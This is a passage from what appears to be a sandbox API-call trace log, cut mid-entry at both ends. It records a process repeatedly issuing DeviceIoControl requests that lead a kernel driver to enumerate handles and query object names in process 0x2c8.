lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0121.663] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.663] PsAcquireProcessExitSynchronization () returned 0x0 [0121.663] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.663] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002861f20, HandleInformation=0x0) returned 0x0 [0121.663] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.663] PsReleaseProcessExitSynchronization () returned 0x2 [0121.663] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.663] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.663] ObfDereferenceObject (Object=0xfffffa8002861f20) returned 0x13 [0121.663] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.663] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.663] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.663] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xd6, lpOverlapped=0x0) returned 1 [0121.663] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.663] PsAcquireProcessExitSynchronization () returned 0x0 [0121.663] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.663] ObReferenceObjectByHandle (in: Handle=0x544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80034702c0, HandleInformation=0x0) returned 0x0 [0121.663] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.663] PsReleaseProcessExitSynchronization () returned 0x2 [0121.663] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.663] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.663] ObfDereferenceObject (Object=0xfffffa80034702c0) returned 0x20 [0121.663] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.663] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.663] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.663] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0121.663] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.663] PsAcquireProcessExitSynchronization () returned 0x0 [0121.663] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.663] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003b112c0, HandleInformation=0x0) returned 0x0 [0121.663] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.664] PsReleaseProcessExitSynchronization () returned 0x2 [0121.664] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.664] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.664] ObfDereferenceObject (Object=0xfffffa8003b112c0) returned 0x6 [0121.664] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.664] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.664] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.664] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x118, lpOverlapped=0x0) returned 1 [0121.664] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.664] PsAcquireProcessExitSynchronization () returned 0x0 [0121.664] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.664] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003129f20, HandleInformation=0x0) returned 0x0 [0121.664] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.664] PsReleaseProcessExitSynchronization () returned 0x2 [0121.664] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.664] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.664] ObfDereferenceObject (Object=0xfffffa8003129f20) returned 0x12 [0121.664] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.664] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.664] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.664] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0121.664] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.664] PsAcquireProcessExitSynchronization () returned 0x0 [0121.664] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.664] ObReferenceObjectByHandle (in: Handle=0x60c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f8f7d0, HandleInformation=0x0) returned 0x0 [0121.664] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.664] PsReleaseProcessExitSynchronization () returned 0x2 [0121.664] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.664] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.664] ObfDereferenceObject (Object=0xfffffa8002f8f7d0) returned 0x12 [0121.664] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.664] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.664] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.665] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0121.665] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.665] PsAcquireProcessExitSynchronization () returned 0x0 [0121.926] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.926] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800345b610, HandleInformation=0x0) returned 0x0 [0121.926] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.927] PsReleaseProcessExitSynchronization () returned 0x2 [0121.927] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.927] ObQueryNameString (in: Object=0xfffffa800345b610, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.927] ObfDereferenceObject (Object=0xfffffa800345b610) returned 0x2 [0121.927] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.927] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.927] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.927] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0121.927] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.927] PsAcquireProcessExitSynchronization () returned 0x0 [0121.927] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.927] ObReferenceObjectByHandle (in: Handle=0x638, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800348c8d0, HandleInformation=0x0) returned 0x0 [0121.927] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.927] PsReleaseProcessExitSynchronization () returned 0x2 [0121.927] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.927] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0121.927] ObfDereferenceObject (Object=0xfffffa800348c8d0) returned 0x6 [0121.927] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.927] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.927] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.927] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0121.927] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.927] PsAcquireProcessExitSynchronization () returned 0x0 [0121.927] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.927] ObReferenceObjectByHandle (in: Handle=0x65c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0121.927] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.927] PsReleaseProcessExitSynchronization () returned 0x2 [0121.927] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.927] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435550) returned 0x0 [0121.927] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0121.928] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.928] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.928] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.928] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0121.928] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.928] PsAcquireProcessExitSynchronization () returned 0x0 [0121.928] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.928] ObReferenceObjectByHandle (in: Handle=0x678, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80018f9ca0, HandleInformation=0x0) returned 0x0 [0121.928] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.928] PsReleaseProcessExitSynchronization () returned 0x2 [0121.928] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.928] ObQueryNameString (in: Object=0xfffffa80018f9ca0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0121.928] ObfDereferenceObject (Object=0xfffffa80018f9ca0) returned 0x1 [0121.928] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.928] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.928] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.928] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xe6, lpOverlapped=0x0) returned 1 [0121.928] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.928] PsAcquireProcessExitSynchronization () returned 0x0 [0121.928] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.928] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80019453e0, HandleInformation=0x0) returned 0x0 [0121.928] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.928] PsReleaseProcessExitSynchronization () returned 0x2 [0121.928] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.928] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435508) returned 0x0 [0121.928] ObfDereferenceObject (Object=0xfffffa80019453e0) returned 0x1 [0121.928] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.928] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.928] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.928] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0121.929] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.929] PsAcquireProcessExitSynchronization () returned 0x0 [0121.929] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.929] ObReferenceObjectByHandle (in: Handle=0x6b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0121.929] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.929] PsReleaseProcessExitSynchronization () returned 0x2 [0121.929] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.929] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.929] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0121.929] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.929] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.929] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.929] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3c, lpOverlapped=0x0) returned 1 [0121.929] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.929] PsAcquireProcessExitSynchronization () returned 0x0 [0121.929] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.929] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030bbdf0, HandleInformation=0x0) returned 0x0 [0121.929] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.929] PsReleaseProcessExitSynchronization () returned 0x2 [0121.929] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.929] ObQueryNameString (in: Object=0xfffffa80030bbdf0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.929] ObfDereferenceObject (Object=0xfffffa80030bbdf0) returned 0x2 [0121.929] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.929] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.929] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.929] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.929] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.929] PsAcquireProcessExitSynchronization () returned 0x0 [0121.929] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.929] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80019d1070, HandleInformation=0x0) returned 0x0 [0121.929] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.930] PsReleaseProcessExitSynchronization () returned 0x2 [0121.930] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.930] ObQueryNameString (in: Object=0xfffffa80019d1070, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.930] ObfDereferenceObject (Object=0xfffffa80019d1070) returned 0x1 [0121.930] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.930] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.930] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.930] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0121.930] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.930] PsAcquireProcessExitSynchronization () returned 0x0 [0121.930] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.930] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800206b4e0, HandleInformation=0x0) returned 0x0 [0121.930] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.930] PsReleaseProcessExitSynchronization () returned 0x2 [0121.930] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.930] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.930] ObfDereferenceObject (Object=0xfffffa800206b4e0) returned 0x13 [0121.930] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.930] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.930] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.930] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0121.930] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.930] PsAcquireProcessExitSynchronization () returned 0x0 [0121.930] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.930] ObReferenceObjectByHandle (in: Handle=0x760, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800207daa0, HandleInformation=0x0) returned 0x0 [0121.930] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.930] PsReleaseProcessExitSynchronization () returned 0x2 [0121.930] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.930] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.930] ObfDereferenceObject (Object=0xfffffa800207daa0) returned 0x12 [0121.930] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.930] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.931] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.931] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0121.931] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.931] PsAcquireProcessExitSynchronization () returned 0x0 [0121.931] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880044355d0) [0121.931] ObReferenceObjectByHandle (in: Handle=0x76c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020838a0, HandleInformation=0x0) returned 0x0 [0121.931] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.931] PsReleaseProcessExitSynchronization () returned 0x2 [0121.931] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0121.931] ObQueryNameString (in: 